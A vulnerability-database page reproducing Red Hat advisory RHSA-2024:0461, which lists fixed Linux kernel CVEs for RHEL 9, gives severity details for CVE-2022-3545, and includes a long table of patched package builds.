Vulnerability-Lookup

RHSA-2024:0461

Vulnerability from csaf_redhat - Published: 2024-01-25 11:04 - Updated: 2026-10-26 17:59

Summary

Red Hat Security Advisory: kernel security update

Severity

Important

Notes

Topic: An update for kernel is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Details: The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fix(es): * kernel: tun: bugs for oversize packet when napi frags enabled in tun_napi_alloc_frags (CVE-2023-3812) * kernel: use after free in unix_stream_sendpage (CVE-2023-4622) * kernel: net/sched: sch_hfsc UAF (CVE-2023-4623) * kernel: use after free in nvmet_tcp_free_crypto in NVMe (CVE-2023-5178) * kernel: vmwgfx: reference count issue leads to use-after-free in surface handling (CVE-2023-5633) * kernel: netfilter: potential slab-out-of-bound access due to integer underflow (CVE-2023-42753) * kernel: nfp: use-after-free in area_cache_get() (CVE-2022-3545) * kernel: vmwgfx: integer overflow in vmwgfx_execbuf.c (CVE-2022-36402) * kernel: null-ptr-deref vulnerabilities in sl_tx_timeout in drivers/net/slip (CVE-2022-41858) * kernel: NULL pointer dereference in can_rcv_filter (CVE-2023-2166) * kernel: Slab-out-of-bound read in compare_netdev_and_ip (CVE-2023-2176) * kernel: use-after-free in netfilter: nf_tables (CVE-2023-3777) * kernel: use after free in nft_immediate_deactivate (CVE-2023-4015) * kernel: fbcon: out-of-sync arrays in fbcon_mode_deleted due to wrong con2fb_map assignment (CVE-2023-38409) * kernel: use-after-free in l2cap_sock_release in net/bluetooth/l2cap_sock.c (CVE-2023-40283) * kernel: SEV-ES local priv escalation (CVE-2023-46813) * kernel: NULL pointer dereference in dpll_pin_parent_pin_set() in drivers/dpll/dpll_netlink.c (CVE-2023-6679) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.

CVE-2022-3545

A vulnerability was found in area_cache_get in drivers/net/ethernet/netronome/nfp/nfpcore/nfp_cppcore.c in the Netronome Flow Processor (NFP) driver in the Linux kernel. This flaw allows a manipulation that may lead to a use-after-free issue.

7.8 (High)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Fixed 267 products

Product	Version	Remediation
Unresolved product id: AppStream-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-64k-debug-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-64k-debug-devel-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-64k-debug-devel-matched-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-64k-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-64k-devel-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-64k-devel-matched-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debug-devel-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debug-devel-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debug-devel-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debug-devel-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debug-devel-matched-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debug-devel-matched-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debug-devel-matched-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debug-devel-matched-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debuginfo-common-aarch64-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debuginfo-common-ppc64le-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debuginfo-common-s390x-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-debuginfo-common-x86_64-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-devel-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-devel-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-devel-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-devel-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-devel-matched-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-devel-matched-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-devel-matched-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-devel-matched-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-doc-0:5.14.0-362.18.1.el9_3.noarch	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-zfcpdump-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-zfcpdump-devel-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:kernel-zfcpdump-devel-matched-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:perf-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:perf-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:perf-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:perf-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:rtla-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:rtla-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:rtla-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:rtla-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:rv-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:rv-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:rv-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: AppStream-9.3.0.Z.MAIN:rv-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:bpftool-0:7.2.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:bpftool-0:7.2.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:bpftool-0:7.2.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:bpftool-0:7.2.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-0:5.14.0-362.18.1.el9_3.src	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-64k-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-64k-core-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-64k-debug-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-64k-debug-core-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-64k-debug-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-64k-debug-modules-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-64k-debug-modules-core-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-64k-debug-modules-extra-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-64k-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-64k-modules-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-64k-modules-core-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-64k-modules-extra-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-abi-stablelists-0:5.14.0-362.18.1.el9_3.noarch	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-core-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-core-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-core-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-core-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-core-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-core-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-core-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-core-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-modules-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-modules-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-modules-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-modules-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-modules-core-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-modules-core-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-modules-core-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-modules-core-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-modules-extra-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-modules-extra-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-modules-extra-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-modules-extra-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debug-uki-virt-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debuginfo-common-aarch64-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debuginfo-common-ppc64le-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debuginfo-common-s390x-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-debuginfo-common-x86_64-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-modules-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-modules-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-modules-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-modules-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-modules-core-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-modules-core-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-modules-core-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-modules-core-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-modules-extra-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-modules-extra-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-modules-extra-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-modules-extra-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-tools-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-tools-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-tools-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-tools-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-tools-libs-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-tools-libs-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-tools-libs-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-uki-virt-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-zfcpdump-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-zfcpdump-core-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-zfcpdump-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-zfcpdump-modules-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-zfcpdump-modules-core-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:kernel-zfcpdump-modules-extra-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:python3-perf-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:python3-perf-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:python3-perf-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:python3-perf-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
